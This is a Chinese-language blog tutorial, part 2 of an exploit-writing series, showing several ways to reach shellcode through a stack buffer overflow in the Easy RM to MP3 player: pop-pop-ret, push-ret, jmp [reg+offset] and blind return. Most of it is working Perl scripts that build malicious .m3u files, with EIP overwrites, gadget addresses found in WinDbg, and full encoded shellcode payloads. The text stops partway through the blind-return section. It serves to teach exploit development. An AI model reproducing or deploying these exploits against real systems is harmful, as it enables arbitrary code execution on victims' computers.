exploit编写系列2:栈溢出,跳转至shellcode

xiaoeryu Lv5

exploit编写系列2:栈溢出,跳转至shellcode

这篇blog是为了学习如何用各种方式去构造栈溢出类型漏洞的exp

执行shellcode的多种方法:

  1. jump/call 寄存器
  2. pop return
  3. push return
  4. jmp[reg + offset]
  5. blind return
  6. jmp code
  7. SHE
  8. call

1. jmp/call 寄存器

在第一篇中已经详细分析过

2. pop pop ret

这个exp我们依然还使用上一篇分析的Easy RM to MP3的漏洞来编写,在上一章使用jmp register 编写exp的时候,我们已经能够调整缓冲区,使ESP直接指向我们的shellcode。但是如果shellcode入口发生偏移比如:shellcode的入口位于ESP+8的时候,我们又该怎么去编写exp呢?理论上,当ESP+offset已经包含shellcode地址,那么只有pop ret这种方法使可行的….如果不是如此(事情往往并非如此),那么也许还有其他方法。

接下来我们尝试采用pop pop ret的方式来重新调整一下shellcode,在上一章的调试中我们已经知道了覆盖EIP需要26067byte,另外在ESP指向的栈地址(0x000ffd38)前还需要4byte。为了模拟出shellcode起始于ESP+8的假象,我们需要构造出一块栈情况如下的缓冲区:

26067xA,XXXX,INT3中断,7NOP,INT3中断,后面放一些NOP。

这样排列我们就可以将真正的shellcode放置于ESP+8后。

先按上面的思路编写一下我们的shellcode

my $file= "test1.m3u";
my $junk= "A" x 26067;
my $eip = "BBBB"; #overwrite EIP
my $prependesp = "XXXX"; #add 4 bytes so ESP points at beginning of shellcode bytes
my $shellcode = "\xcc"; #first break
$shellcode = $shellcode . "\x90" x 7; #add 7 more bytes
$shellcode = $shellcode . "\xcc"; #second break
$shellcode = $shellcode . "\x90" x 500; #real shellcode
open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

用Easy RM to MP3打开生成的test1.m3u,中断之后查看一下堆栈,现在中断于EIP我们填写的”BBBB”处,输入d esp查看一下栈的排列,esp指向0x000ffd38处,里面的内容跟我们刚来编写的代码一致:0xCC + 7个0x90 + 0xCC + 500个0x90(shellcode)

为了让EIP直接跳往EIP+8(我们的payload处),我们需要使用pop ret技术+jmp esp地址来完成此项任务。

一个pop指令可以将栈顶弹出四个byte,我们需要两个pop指令就可以将ESP+8(0x000ffd38+8 = 0x000ffd40),此时再执行ret指令就会将当前ESP的值(0x000ffd40)赋予EIP。如果在此时的ESP(0x000ffd40)处包含有jmp esp指令的地址,那么此时EIP就将会执行jmp esp指令跳转到此时的ESP(0x000ffd40)处,这样的话我们就必须把我们的shellcode放置在0x000ffd40后面的缓冲区中。

接下来我们需要先找到一个可用的pop pop ret指令的地址,用这串指令的首地址来覆盖EIP,然后在ESP+8处放入jmp esp指令的地址,再后面紧跟着的就是shellcode了。

重新打开Easy RM to MP3然后使用windbg附加进程,使用windbg的汇编功能来搜索一下 pop pop ret指令的位置

ntdll!DbgBreakPoint:
7c92120e cc              int     3
0:010> a
7c92120e pop eax
pop eax
7c92120f pop ebp
pop ebp
7c921210 ret
ret
7c921211 

0:010> u 7c92120e 
ntdll!DbgBreakPoint:
7c92120e 58              pop     eax
7c92120f 5d              pop     ebp
7c921210 c3              ret
7c921211 ffcc            dec     esp
7c921213 c3              ret
7c921214 8bff            mov     edi,edi
7c921216 8b442404        mov     eax,dword ptr [esp+4]
7c92121a cc              int     3

我们可以查到pop eax, pop ebx, ret三条指令对应的机器码为:0x58 0x5d 0xc3

然后我们可以在加载的DLL里面查找包含这三条指令的地址

重新打开windbg并加载Easy RM to MP3

在加载的DLL里面搜索我们需要的指令,这里关于DLL的选择如果每次DLL加载的基址都相同的话我们就选择应用程序的DLL如果每次加载的基址都会改变的话,就选择系统的DLL会更好点

需要注意的是我们选择的地址尽量不要包含有”00”

现在我们可以使用上面搜索到的地址让我们跳转到ESP+8,现在我们需要在ESP+8处填入jmp esp的地址(前面解释过,ret指令将从这里获取地址,并将其赋值给EIP执行)。

用同样的方法来搜索一下 jmp esp的地址

0:010> s 01940000 l 019b1000   ff e4
01b7f23a  ff e4 ff 8d 4e 10 c7 44-24 10 ff ff ff ff e8 f3  ....N..D$.......
01bb023f  ff e4 fb 4d 1b a6 9c ff-ff 54 a2 ea 1a d9 9c ff  ...M.....T......
01bcd3db  ff e4 ca b9 01 20 05 93-19 09 00 00 00 00 d4 bc  ..... ..........
01beb22a  ff e4 07 07 f2 01 57 f2-5d 1c d3 e8 09 22 d5 d0  ......W.]...."..
01beb72d  ff e4 09 7d e4 ad 37 df-e7 cf 25 23 c9 a0 4a 26  ...}..7...%#..J&

此时我们可以将EIP执行到ESP指向的位置了,接下来我们需要用真正的shellcode替换掉原来的500个NOP。

替换后的缓冲区情况如下:

AAAAAAAAAAAAAAAAAA… 0x01966a10 NOP NPO 0x01b7f23a SHELLCODE
26067 EIP 8 BYTE OFFSET JMP ESP
POP POP RET

现在我们构造的exp执行情况如下:

  1. EIP被pop pop ret 指令的地址覆盖,ESP会指向shellcode偏移8字节的地址;
  2. pop pop ret被执行之后,EIP会被ESP+8处的(jmp esp)0x01b7f23a指令覆盖,ESP指向shellcode;
  3. 由于EIP被jmp esp指令的地址覆盖,因此程序会跳转到shellcode执行。
my $file= "test3.m3u";
my $junk= "A" x 26067;
my $eip = pack('V',0x01966a10); #overwrite EIP
my $jmpesp = pack('V',0x01b7f23a);
my $prependesp = "XXXX"; #add 4 bytes so ESP points at beginning of shellcode bytes
#my $shellcode = "\xcc"; #first break
$shellcode = "\x90" x 8; #add 7 more bytes
$shellcode = $shellcode . $jmpesp; #second break

$shellcode = $shellcode . "\x90" x 50; #real shellcode
$shellcode = $shellcode . 
"\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" .
"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" .
"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" .
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" .
"\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" .
"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" .
"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" .
"\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" .
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" .
"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" .
"\x31\x42\x4c\x42\x43\x45\x50\x41\x41";
open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

成功的执行了shellcode弹出了计算器

3. push return

push ret与call [reg]有些相似,如果有个寄存器指向你的shellcode,但是由于某些原因你无法使用jmp[reg]去跳转到shellcode,可以采用:

  • 将寄存器地址压入栈中,它将位于栈顶
  • ret(从栈中获取返回地址,并跳转到该地址)

为了实现这种方法,你需要用某个dll中的push [reg] + ret 指令串地址去覆盖EIP。为了直接将使用的shellcode放入ESP中,你首先需要搜索‘push esp’和‘ret’的机器码。

0x00 重新运行Easy RM to MP3并用windbg附加

用windbg的汇编搜索功能来寻找一段push esp&ret指令

0:010> a
7c92120f push esp
push esp
7c921210 ret
ret
7c921211 

0:010> u 7c92120f 
ntdll!DbgBreakPoint+0x1:
7c92120f 54              push    esp
7c921210 c3              ret
7c921211 ffcc            dec     esp
7c921213 c3              ret
7c921214 8bff            mov     edi,edi
7c921216 8b442404        mov     eax,dword ptr [esp+4]
7c92121a cc              int     3
7c92121b c20400          ret     4

可以看到指令对应的机器码为54 c3,然后我们可以从加载的dll里面搜索一条可用的指令地址

0:010> s 01940000 l 019b1000   54 c3
019557f6  54 c3 90 90 90 90 90 90-90 90 8b 44 24 08 85 c0  T..........D$...
01a01d88  54 c3 fe ff 85 c0 74 5d-53 8b 5c 24 30 57 8d 4c  T.....t]S.\$0W.L
01a2cd65  54 c3 8b 87 33 05 00 00-83 f8 06 0f 85 92 01 00  T...3...........
01a2cf2f  54 c3 8b 4c 24 58 8b c6-5f 5e 5d 5b 64 89 0d 00  T..L$X.._^][d...
01a2cf44  54 c3 90 90 90 90 90 90-90 90 90 90 8a 81 da 04  T...............

选择一个地址,构造exp并运行(直接用call [reg]的exp,将eip修改为我们刚找到的指令地址即可)

my $file= "test_5.m3u";
my $junk= "A" x 26067;
my $eip = pack('V',0x019557f6); #overwrite EIP with call esp
my $prependesp = "XXXX"; #add 4 bytes so ESP points at beginning of shellcode bytes
my $shellcode = "\x90" x 25; #start shellcode with some NOPS
$shellcode = $shellcode .
"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";
open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

利用成功

4. jmp [reg + offset]

如果我们的shellcode再寄存器入口处偏移几个字节的位置,也可以用windbg搜索jmp [reg + offset]指令来跳转过去。

0:010> a
7c92120e jmp [esp+8]
jmp [esp+8]
7c921212 u 7c92120e 
u 7c92120e 
        ^ Bad opcode error in 'u 7c92120e '
7c921212 

0:010> u 7c92120e 
ntdll!DbgBreakPoint:
7c92120e ff642408        jmp     dword ptr [esp+8]
ntdll!DbgUserBreakPoint:
7c921212 cc              int     3
7c921213 c3              ret
7c921214 8bff            mov     edi,edi
7c921216 8b442404        mov     eax,dword ptr [esp+4]
7c92121a cc              int     3
7c92121b c20400          ret     4

看结果我们可以知道jmp [esp+8]对应的机器码为ff642408,我们可以尝试再其它的dll中搜索包含这条指令的地址,不过我搜索了几个dll没有搜索到这条指令

5. Blind return

此利用主要用于在ESP寄存器指向地址可用字节数不多的情况下,设置跳板跳往可以足够容纳我们shellcode地址的地方去执行的方法。

此项技术基于以下步骤:

  • 利用ret指令地址覆写EIP
  • 在ESP首4字节中对shellcode地址进行硬编码
  • 当ret执行时,新添加的4字节(最顶端的值)将从栈中弹出,并赋予EIP
  • exploit跳至shellcode执行

因此这种方法在以下情况是可用的:

  • 无法将EIP直接指向某寄存器(因为无法使用jmp或call指令,这意味着你需要对shellcode起始地址进行硬编码)
  • 可控制ESP中的数据(至少能控制前四字节)

如果我们想要实现上面的利用方法:

需要拥有shellcode的内存地址(即ESP地址)。

  1. 在DLL中查找到‘ret’指令的地址

先生成一个测试文件来模拟一下堆栈空间

26067个字节A覆盖eip之前的位置+四个字节B覆盖eip + 50个字节的X来作为我们放置跳转指令的地址 + 一段不可用的null

my $file= "blind_return_1.m3u";
my $junk= "A" x 26067;
my $eip = "BBBB";
my $preshellcode = "X" x 54; #let's pretend this is the only space we have available
my $nop = "\x90" x 230; #added some nops to visually separate our 54 X's from other data
open($FILE,">$file");
print $FILE $junk.$eip.$preshellcode.$nop;
close($FILE);

A’s地址距离ESP的偏移

继续往后查看内存,可以看到在ESP+281之后有大段的我们写入的A字符,这表明我们可以使用这段地址来放置我们的shellcode,在X’s位置设置跳转来跳往A’s地址处

eax=00000001 ebx=00104a58 ecx=7c93003d edx=00000004 esi=77c2fce0 edi=000066f3
eip=42424242 esp=000ffd38 ebp=00104678 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
42424242 ??              ???
0:000> d esp
000ffd38  58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
000ffd48  58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
000ffd58  58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
000ffd68  58 58 90 90 90 90 90 90-90 90 90 90 90 90 90 90  XX..............
000ffd78  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffd88  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffd98  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffda8  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:000> d
000ffdb8  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffdc8  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffdd8  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffde8  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffdf8  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffe08  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffe18  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffe28  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:000> d
000ffe38  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffe48  90 90 90 90 90 90 90 90-00 41 41 41 41 41 41 41  .........AAAAAAA
000ffe58  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffe68  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffe78  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffe88  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffe98  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffea8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0:000> d
000ffeb8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffec8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffed8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffee8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffef8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000fff08  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000fff18  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000fff28  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0:000> d
000fff38  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000fff48  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000fff58  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000fff68  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000fff78  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000fff88  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000fff98  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000fffa8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0:000> d
000fffb8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000fffc8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000fffd8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000fffe8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffff8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00100008  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00100018  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00100028  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0:000> d
00100038  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

现在我们如果想要往字符‘A’的地址放置我们的shellcode的话需要确定ESP+281处的字符‘A’位于我们写入的26067个‘A’的具体位置,这样我们才可以将shellcode防止合适的位置

  • 用pattern_create.rb工具来生成1000个字节的字符模型来替换A的前1000个字节。
kali@kali:/usr/share/metasploit-framework/tools/exploit$ ./pattern_create.rb -l 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B
kali@kali:/usr/share/metasploit-framework/tools/exploit$ 

编写perl脚本,生成测试文件

my $file= "blind_return_2.m3u";
my $pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B";
my $junk= "A" x 25067;
my $eip = "BBBB";
my $preshellcode = "X" x 54; #let's pretend this is the only space we have available at ESP
my $nop = "\x90" x 230; #added some nops to visually separate our 54 X's from other data in the ESP dump
open($FILE,">$file");
print $FILE $pattern.$junk.$eip.$preshellcode.$nop;
close($FILE);
print "m3u File Created successfully\n";

用Easy RM to MP3打开测试文件

eax=00000001 ebx=00104a58 ecx=7c93003d edx=00000004 esi=77c2fce0 edi=000066f3
eip=42424242 esp=000ffd38 ebp=00104678 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
42424242 ??              ???
0:000> d esp
000ffd38  58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
000ffd48  58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
000ffd58  58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
000ffd68  58 58 90 90 90 90 90 90-90 90 90 90 90 90 90 90  XX..............
000ffd78  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffd88  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffd98  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffda8  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:000> d
000ffdb8  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffdc8  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffdd8  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffde8  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffdf8  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffe08  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffe18  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffe28  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:000> d
000ffe38  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffe48  90 90 90 90 90 90 90 90-00 35 41 69 36 41 69 37  .........5Ai6Ai7
000ffe58  41 69 38 41 69 39 41 6a-30 41 6a 31 41 6a 32 41  Ai8Ai9Aj0Aj1Aj2A
000ffe68  6a 33 41 6a 34 41 6a 35-41 6a 36 41 6a 37 41 6a  j3Aj4Aj5Aj6Aj7Aj
000ffe78  38 41 6a 39 41 6b 30 41-6b 31 41 6b 32 41 6b 33  8Aj9Ak0Ak1Ak2Ak3
000ffe88  41 6b 34 41 6b 35 41 6b-36 41 6b 37 41 6b 38 41  Ak4Ak5Ak6Ak7Ak8A
000ffe98  6b 39 41 6c 30 41 6c 31-41 6c 32 41 6c 33 41 6c  k9Al0Al1Al2Al3Al
000ffea8  34 41 6c 35 41 6c 36 41-6c 37 41 6c 38 41 6c 39  4Al5Al6Al7Al8Al9
0:000> d
000ffeb8  41 6d 30 41 6d 31 41 6d-32 41 6d 33 41 6d 34 41  Am0Am1Am2Am3Am4A
000ffec8  6d 35 41 6d 36 41 6d 37-41 6d 38 41 6d 39 41 6e  m5Am6Am7Am8Am9An
000ffed8  30 41 6e 31 41 6e 32 41-6e 33 41 6e 34 41 6e 35  0An1An2An3An4An5
000ffee8  41 6e 36 41 6e 37 41 6e-38 41 6e 39 41 6f 30 41  An6An7An8An9Ao0A
000ffef8  6f 31 41 6f 32 41 6f 33-41 6f 34 41 6f 35 41 6f  o1Ao2Ao3Ao4Ao5Ao
000fff08  36 41 6f 37 41 6f 38 41-6f 39 41 70 30 41 70 31  6Ao7Ao8Ao9Ap0Ap1
000fff18  41 70 32 41 70 33 41 70-34 41 70 35 41 70 36 41  Ap2Ap3Ap4Ap5Ap6A
000fff28  70 37 41 70 38 41 70 39-41 71 30 41 71 31 41 71  p7Ap8Ap9Aq0Aq1Aq

可以看到模式字符串从5Ai6开始,借助pattern_offset.rb工具来定位一下5Ai6在模式字符串中的位置

kali@kali:/usr/share/metasploit-framework/tools/exploit$ ./pattern_offset.rb -q 5Ai6[*] Exact match at offset 257kali@kali:/usr/share/metasploit-framework/tools/exploit$ 

可以看到这4个字符的偏移量为257,这下我们可以设计我们要放置shellcode的位置,将文件的前257个字节放置不影响shellcode执行的字符,之后加上我们的shellcode然后剩余的字节还是填充为A。

编写perl脚本查看一下内存是否如我们所想的一样

my $file= "blind_return_3.m3u";my $buffersize = 26067;my $junk= "A" x 250;	my $nop = "\x90" x50;	#250个字节的A加上一些不影响执行的nop(在内存空间足够用的时候在计算的shellcode地址之前填充一些nop指令可以让我们的shellcode适应性更强一点)my $shellcode = "\xcc";my $restofbuffer = "A" x ($buffersize - (length($junk) + length($nop) + length($shellcode)));my $eip = "BBBB";my $preshellcode = "X" x 54; #let's pretend this is the only space we have available at ESPmy $nop2 = "\x90" x 230; #added some nops to visually separate our 54 X's from other data in the ESP dumpopen($FILE,">$file");print $FILE $junk.$nop.$shellcode.$restofbuffer.$eip.$preshellcode.$nop2;close($FILE);

当程序中断后我们可以看到,NOP起始于0x000ffe51,后面是我们的shellcode(0xCC),再之后是一串A字符。

接下来我们需要在ESP(上图中X的地址)中放入jmpshellcode指令,来帮助我们跳转到ESP+281的位置。

所以我们需要在内存中寻找指令将ESP+281(或者可以稍大一点,因为我们在shellcode前放置了NOP串,这可以使shellcode的设计具有一定的灵活性)然后再使用jmp esp指令跳转到我们shellcode的位置。

这里我们可以寻找三个add esp,0x50e指令,0x5e * 3 = 11Ah > 281(119h),然后再寻找一个jmp esp指令就构成了我们的jmpshellcode了。

0:010> a
7c92120e add esp,0x5e
add esp,0x5e
7c921211 add esp,0x5e
add esp,0x5e
7c921214 add esp,0x5e
add esp,0x5e
7c921217 jmp esp
jmp esp
7c921219 

0:010> u 7c92120e 
ntdll!DbgBreakPoint:
7c92120e 83c45e          add     esp,5Eh
